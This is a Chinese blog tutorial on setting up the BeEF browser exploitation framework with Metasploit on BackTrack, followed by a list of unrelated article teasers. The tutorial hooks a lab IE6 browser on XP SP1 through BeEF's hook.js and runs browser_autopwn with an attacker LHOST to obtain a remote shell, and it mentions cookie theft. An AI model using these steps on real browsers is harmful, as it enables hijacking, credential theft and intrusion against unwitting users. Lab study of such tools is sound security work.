1.什么是BeEF?

就是 The Browser Exploitation Framework 的缩写,意在通过一些手段,控制对方的浏览器。

里面集成了很多模块,能够获取很多东西,有cookie,浏览器名字,版本,插件,是否支持java,vb,flash等,所以说XSS神器嘛。。

大概长这个样子(默认用户名密码是beef,beef):

2.安装beef和使用beef

BT5r3 已经是自带了ruby和beef了,我们不用下载和安装了。

[plain] view plaincopy

  1. ruby :ruby 1.9.2dev (2010-07-02) [i486-linux]  
  2. beef :Version 0.4.3.6-alpha  

beef默认安装在:/pentest/web/beef/ 下

metasploit默认安装在:/opt/metasploit/下

翻看了下beef的安装文档:INSTALL.txt

[plain] view plaincopy

  1. 1. Prerequisites (platform independent)  
  2.   
     
  3.      BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:  
  4.   
     
  5.      gem install bundler  
  6.   
     
  7. . Prerequisites (Linux)  
  8.   
     
  9.      !!! This must be done PRIOR to running the bundle install command !!!  
  10.        
     
  11.      On linux you will need to find the packages specific to your distribution for sqlite.  An example for Ubuntu systems is:  
  12.   
     
  13.      3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc  
  14.      3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required  
  15.      3.2. rvm install 1.9.2  
  16.      3.3. rvm use 1.9.2  

发现有个东西必须的安装: bundler!(千古一问:为什么BT5不一起把bundler安装好呢?)

总结了下就是:

[plain] view plaincopy

  1. apt-get install libsqlite3-dev sqlite3 sqlite3-doc   
  2. gem install bundler  
  3. bundle install  

如果出错(因为环境变量的问题,我感觉看官们一定会出错的,乖乖输入下面的命令):

[plain] view plaincopy

  1. gem install --user-install bundler   

然后开启beef:./beef

出现如下信息则成功:

[plain] view plaincopy

  1. root@bt:/pentest/web/beef# ./beef   
  2. [ 9:17:50][*] Browser Exploitation Framework (BeEF)  
  3. [ 9:17:50]    |   Version 0.4.3.6-alpha  
  4. [ 9:17:50]    |   Website http://beefproject.com  
  5. [ 9:17:50]    |   Run 'beef -h' for basic help.  
  6. [ 9:17:50]    |_  Run 'git pull' to update to the latest revision.  
  7. [ 9:17:50][*] Successful connection with Metasploit.  
  8. [ 9:17:53][*] Loaded 203 Metasploit exploits.  
  9. [ 9:17:53][*] BeEF is loading. Wait a few seconds...  
  10. [ 9:17:57][*] 9 extensions loaded:  
  11. [ 9:17:57]    |   Console  
  12. [ 9:17:57]    |   Requester  
  13. [ 9:17:57]    |   Events  
  14. [ 9:17:57]    |   Proxy  
  15. [ 9:17:57]    |   XSSRays  
  16. [ 9:17:57]    |   Autoloader  
  17. [ 9:17:57]    |   Metasploit  
  18. [ 9:17:57]    |   Demos  
  19. [ 9:17:57]    |_  Admin UI  
  20. [ 9:17:57][*] 316 modules enabled.  
  21. [ 9:17:57][*] 2 network interfaces were detected.  
  22. [ 9:17:57][+] running on network interface: 127.0.0.1  
  23. [ 9:17:57]    |   Hook URL: http://127.0.0.1:3000/hook.js  
  24. [ 9:17:57]    |_  UI URL:   http://127.0.0.1:3000/ui/panel  
  25. [ 9:17:57][+] running on network interface: 192.168.198.128  
  26. [ 9:17:57]    |   Hook URL: http://192.168.198.128:3000/hook.js  
  27. [ 9:17:57]    |_  UI URL:   http://192.168.198.128:3000/ui/panel  
  28. [ 9:17:57][*] RESTful API key: c29aef201f68aee70afc6ffedea1f77e8304ce72  
  29. [ 9:17:57][*] HTTP Proxy: http://127.0.0.1:6789  
  30. [ 9:17:57][*] BeEF server started (press control+c to stop)  

其实BeEF能干很多事,比如说,控制被HOOK浏览器弹个框吧:

3.配置beef携手Metasploit

首先关闭beef(Ctrl+C)。

在/opt/metasploit/文件夹下gedit beef.rc,写入内容:

[plain] view plaincopy

  1. load msgrpc ServerHost=127.0.0.1 Pass=abc123  

这里上网搜了下,发现密码神马的最好不要改,那就不改啦~

安装msgpack:

[plain] view plaincopy

  1. gem install --user-install msgpack  

修改配置让beef支持metasploit:

[plain] view plaincopy

  1. gedit /pentest/web/beef/config.yaml  
  2. 把        metasploit:  
  3.            enable: false  
  4. 改成:  
  5.            metasploit:  
  6.            enable: true  

Ps:这里必须先开msf,再开beef,才能在beef下用msf,也就是说两者开着一起工作!

我们启动metasploit:

[plain] view plaincopy

  1. root@bt:/opt/metasploit/msf3# msfconsole -r beef.rc   

出现如下信息就表示成功:

[plain] view plaincopy

  1. [*] Processing beef.rc for ERB directives.  
  2. resource (beef.rc)> load msgrpc ServerHost=127.0.0.1 Pass=abc123  
  3. [*] MSGRPC Service:  127.0.0.1:55552   
  4. [*] MSGRPC Username: msf  
  5. [*] MSGRPC Password: abc123  
  6. [*] Successfully loaded plugin: msgrpc  

然后我们再启动beef:

[plain] view plaincopy

  1. root@bt:/pentest/web/beef# ./beef   

beef,beef登陆后我们就能看到一个可爱的界面了:

然后BeEF自带了一个hack页面,坐等别人上钩:

[plain] view plaincopy

  1. http://127.0.0.1:3000/demos/basic.html   

里面主要是有这么一段js代码:

[plain] view plaincopy

4.对XPSP1测试

(1)让xp sp1 用IE6访问hack页面:

[plain] view plaincopy

  1. http://192.168.198.128:3000/demos/basic.html   

发现面板左侧上多了一个目标,也就是我们喜欢的IE6:

(2)

拿msf生成HOOK链接:

[plain] view plaincopy

  1. msf > use auxiliary/server/browser_autopwn   
  2. msf  auxiliary(browser_autopwn) > set LHOST 192.168.198.128 #我服务器自己的地址  
  3. LHOST => 192.168.198.128  
  4. msf  auxiliary(browser_autopwn) > run  

然后出来一大堆URL,我们选择,IE的一个:

[plain] view plaincopy

  1. http://192.168.198.128:8080/hxRmMPkYJa  

控制被HOOK的浏览器去访问这个链接:



然后msf 突然就开始自己(意味着自动化,这点以前一直以为我要做些什么,其实不用)跑起来,拿到shell:

至此,BeEF就算是一个初步认识和使用了。

有很多功能还没学会了,不过我感觉控制那个cookie之类的应该是没问题了。。

这么强大的神器,你还在等什么呢?

emaster  关注信息安全的胖子

欢迎转载,但转载请注明地址:http://blog.csdn.net/emaste_r/article/details/17091067

初探BeEF的更多相关文章

  1. 【20171106早】BeEF 工具初探

    老黑今天接触BeEF工具,首先要了解这个工具能够做什么? 0x01:功能介绍 专业文档:点击这里 通俗的说就是可以控制别的浏览器,获取浏览器的信息.然后做something 专业的说就是好用的渗透测试 ...

  2. 初探领域驱动设计(2)Repository在DDD中的应用

    概述 上一篇我们算是粗略的介绍了一下DDD,我们提到了实体.值类型和领域服务,也稍微讲到了DDD中的分层结构.但这只能算是一个很简单的介绍,并且我们在上篇的末尾还留下了一些问题,其中大家讨论比较多的, ...

  3. CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探

    CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探 2016-08-13 由于CSharpGL一直在更新,现在这个教程已经不适用最新的代码了.CSharpGL源码 ...

  4. 从273二手车的M站点初探js模块化编程

    前言 这几天在看273M站点时被他们的页面交互方式所吸引,他们的首页是采用三次加载+分页的方式.也就说分为大分页和小分页两种交互.大分页就是通过分页按钮来操作,小分页是通过下拉(向下滑动)时异步加载数 ...

  5. JavaScript学习(一) —— 环境搭建与JavaScript初探

    1.开发环境搭建 本系列教程的开发工具,我们采用HBuilder. 可以去网上下载最新的版本,然后解压一下就能直接用了.学习JavaScript,环境搭建是非常简单的,或者说,只要你有一个浏览器,一个 ...

  6. .NET文件并发与RabbitMQ(初探RabbitMQ)

    本文版权归博客园和作者吴双本人共同所有.欢迎转载,转载和爬虫请注明原文地址:http://www.cnblogs.com/tdws/p/5860668.html 想必MQ这两个字母对于各位前辈们和老司 ...

  7. React Native初探

    前言 很久之前就想研究React Native了,但是一直没有落地的机会,我一直认为一个技术要有落地的场景才有研究的意义,刚好最近迎来了新的APP,在可控的范围内,我们可以在上面做任何想做的事情. P ...

  8. 【手把手教你全文检索】Apache Lucene初探

    PS: 苦学一周全文检索,由原来的搜索小白,到初次涉猎,感觉每门技术都博大精深,其中精髓亦是不可一日而语.那小博猪就简单介绍一下这一周的学习历程,仅供各位程序猿们参考,这其中不涉及任何私密话题,因此也 ...

  9. Key/Value之王Memcached初探:三、Memcached解决Session的分布式存储场景的应用

    一.高可用的Session服务器场景简介 1.1 应用服务器的无状态特性 应用层服务器(这里一般指Web服务器)处理网站应用的业务逻辑,应用的一个最显著的特点是:应用的无状态性. PS:提到无状态特性 ...

随机推荐

  1. ListView和BaseAdapter

    参考资料:http://www.runoob.com/w3cnote/android-tutorial-listview.html <LinearLayout xmlns:android=&qu ...

  2. POJ 3710:Matrix Power Series

    Description 给出矩阵 \(n*n\) 的 矩阵\(A\) , 求 \(A^1+A^2+A^3...+A^k\) Solution 首先我们设 \(S_n=\sum_{i=1}^{n}A^i ...

  3. iOS开源项目周报0309

    由OpenDigg 出品的iOS开源项目周报第十期来啦.我们的iOS开源周报集合了OpenDigg一周来新收录的优质的iOS开源项目,方便iOS开发人员便捷的找到自己需要的项目工具等.LazyScro ...

  4. TCP/IP提供网络传输速率

    丢包(超时)->减少超时时间->ECN(有网络设备通知终端,有丢包发生)->DCTCP(优化快恢复) 丢包是超时的充分条件,但不是必要条件,因此也可通过其他方式获得丢包是否发生,比如 ...

  5. js实现点击图片,然后图片放大

    HTML <td width="350"> <img height="100" width="100" class=&qu ...

  6. Jquery中$与$.fn的区别

    Jquery中$与$.fn的区别 当今web开发往往离不开Jquery的使用,Jquery以其简洁的使用方式.良好的浏览器兼容性赢得了软件研发同行的青睐,作为其中的一员,自然也不例外,尽管刚开始时很排 ...

  7. Hadoop学习笔记(8) ——实战 做个倒排索引

    Hadoop学习笔记(8) ——实战 做个倒排索引 倒排索引是文档检索系统中最常用数据结构.根据单词反过来查在文档中出现的频率,而不是根据文档来,所以称倒排索引(Inverted Index).结构如 ...

  8. [PHP] PHP数组的实现哈希表(HashTable)结构

    PHP中使用最为频繁的数据类型非字符串和数组莫属,使用哈希表实现的PHP数组.1.数据结构:保存哈希表容器,保存数据的容器2.哈希函数实现:需要尽可能的将不同的key映射到不同的槽(bucket)中, ...

  9. Java基础-基于《Thinking In Java》

    摘要 本文是对一些java基础知识的整理,把之前印象笔记里面的全部慢慢搬到这个blog来 为了方便就按照<Thinking In Java>的目录来编辑. 这里面的内容均为面试题相关,可能 ...

  10. poj Strange Way to Express Integers 中国剩余定理

    Strange Way to Express Integers Time Limit: 1000MS   Memory Limit: 131072K Total Submissions: 8193   ...